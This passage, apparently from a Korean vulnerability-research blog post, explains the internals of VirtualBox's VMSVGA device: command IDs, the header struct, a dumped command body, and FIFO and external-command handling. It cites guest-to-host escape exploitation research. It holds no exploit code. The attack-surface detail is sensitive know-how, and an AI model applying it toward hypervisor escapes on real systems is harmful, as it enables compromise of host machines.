    #define SVGA\_3D\_CMD\_CLEAR SVGA\_3D\_CMD\_BASE + 17  
    #define SVGA\_3D\_CMD\_PRESENT SVGA\_3D\_CMD\_BASE + 18 // Deprecated  
    #define SVGA\_3D\_CMD\_SHADER\_DEFINE SVGA\_3D\_CMD\_BASE + 19  
    #define SVGA\_3D\_CMD\_SHADER\_DESTROY SVGA\_3D\_CMD\_BASE + 20  
    #define SVGA\_3D\_CMD\_SET\_SHADER SVGA\_3D\_CMD\_BASE + 21  
    #define SVGA\_3D\_CMD\_SET\_SHADER\_CONST SVGA\_3D\_CMD\_BASE + 22  
    #define SVGA\_3D\_CMD\_DRAW\_PRIMITIVES SVGA\_3D\_CMD\_BASE + 23  
    #define SVGA\_3D\_CMD\_SETSCISSORRECT SVGA\_3D\_CMD\_BASE + 24  
    #define SVGA\_3D\_CMD\_BEGIN\_QUERY SVGA\_3D\_CMD\_BASE + 25  
    #define SVGA\_3D\_CMD\_END\_QUERY SVGA\_3D\_CMD\_BASE + 26  
    #define SVGA\_3D\_CMD\_WAIT\_FOR\_QUERY SVGA\_3D\_CMD\_BASE + 27  
    #define SVGA\_3D\_CMD\_PRESENT\_READBACK SVGA\_3D\_CMD\_BASE + 28 // Deprecated  
    #define SVGA\_3D\_CMD\_BLIT\_SURFACE\_TO\_SCREEN SVGA\_3D\_CMD\_BASE + 29  
    #define SVGA\_3D\_CMD\_SURFACE\_DEFINE\_V2 SVGA\_3D\_CMD\_BASE + 30  
    #define SVGA\_3D\_CMD\_GENERATE\_MIPMAPS SVGA\_3D\_CMD\_BASE + 31  
    #define SVGA\_3D\_CMD\_ACTIVATE\_SURFACE SVGA\_3D\_CMD\_BASE + 40  
    #define SVGA\_3D\_CMD\_MAX SVGA\_3D\_CMD\_BASE + 42
  2. 커맨드 헤더 (id (지워짐), header size)

    // VBox/Devices/Graphics/vmsvga/svga3d_reg.h:1126
    * The data size header following cmdNum for every 3d command
    struct {
    /* uint32_t               id; duplicate*/
    uint32_t               size;
    } SVGA3dCmdHeader;
  3. 커맨드 body

    // example of command body
    STRUCTURE <svga3d\_reg.struct\_c\_\_SA\_SVGA3dCmdSetRenderState object at 0x7fbbcbe0a7b8>  
    FIELD cid (type=<class 'ctypes.c\_uint'>, bitlen=32)  
    VALUE = 103 (type=<class 'int'>)  
    STRUCTURE <svga3d\_reg.struct\_c\_\_SA\_SVGA3dRenderState object at 0x7fbbcbe0a7b8>  
    FIELD state (type=<class 'ctypes.c\_int'>, bitlen=32)  
    VALUE = 700967841 (type=<class 'int'>)  
    FIELD \_1 (type=<class 'svga3d\_reg.union\_c\_\_SA\_SVGA3dRenderState\_0'>, bitlen=32)  
    STRUCTURE <svga3d\_reg.union\_c\_\_SA\_SVGA3dRenderState\_0 object at 0x7fbbcbe0a8c8>  
    FIELD uintValue (type=<class 'ctypes.c\_uint'>, bitlen=32)  
    VALUE = 1482925787 (type=<class 'int'>)  
    FIELD floatValue (type=<class 'ctypes.c\_float'>, bitlen=32)  
    VALUE = 1001223113146368.0 (type=<class 'float'>)

4바이트씩 잘라서 MMIO로 데이터를 넘기면 FIFO buffer에 차례대로 들어간다. 이후 FIFO loop에서 커맨드 번호를 읽고, 헤더 사이즈를 읽은 뒤 헤더사이즈에 맞게 FIFO buffer에서 dequeue를 해서 커맨드를 읽는다. 읽은 커맨드는 커맨드 종류에 맞춰 기능을 수행하게 된다.

SVGA state에 따라 external command를 수행하는 경우도 있다. External command에는 reset, power off, save / load state 등이 있는데, SVGA 커맨드에 상관 없이 외부 요인에 의해 실행된다. (PCI command로 실행시킬 수도 있다. ex - /sys/bus/pci/devices/<device no.>/power)

// VBox/Devices/Graphics/DevVGA-SVGA.cpp:3529 (inside vmsvgaR3FifoLoop)
 * Special mode where we only execute an external command and the go back
 * to being suspended.  Currently, all ext cmds ends up here, with the reset
 * one also being eligble for runtime execution further down as well.
if (pThis->svga.fFifoExtCommandWakeup)
    vmsvgaR3FifoHandleExtCmd(pDevIns, pThis, pThisCC);
    while (pThread->enmState == PDMTHREADSTATE_RUNNING)
        if (pThis->svga.u8FIFOExtCommand == VMSVGA_FIFO_EXTCMD_NONE)
            PDMDevHlpSUPSemEventWaitNoResume(pDevIns, pThis->svga.hFIFORequestSem, RT_MS_1MIN);
            vmsvgaR3FifoHandleExtCmd(pDevIns, pThis, pThisCC);
    return VINF_SUCCESS;


  1. VMware SVGA Device Developer Kit: https://sourceforge.net/projects/vmware-svga/ (Alternative: https://github.com/prepare/vmware-svga)
  2. Straight outta VMware: Modern exploitation of the SVGA device for guest-to-host escape exploits (Blackhat Europe 2018): https://i.blackhat.com/eu-18/Thu-Dec-6/eu-18-Sialveras-Straight-Outta-VMware-Modern-Exploitation-Of-The-SVGA-Device-For-Guest-To-Host-Escapes.pdf
  3. https://github.com/renorobert/virtualbox-vmsvga-bugs

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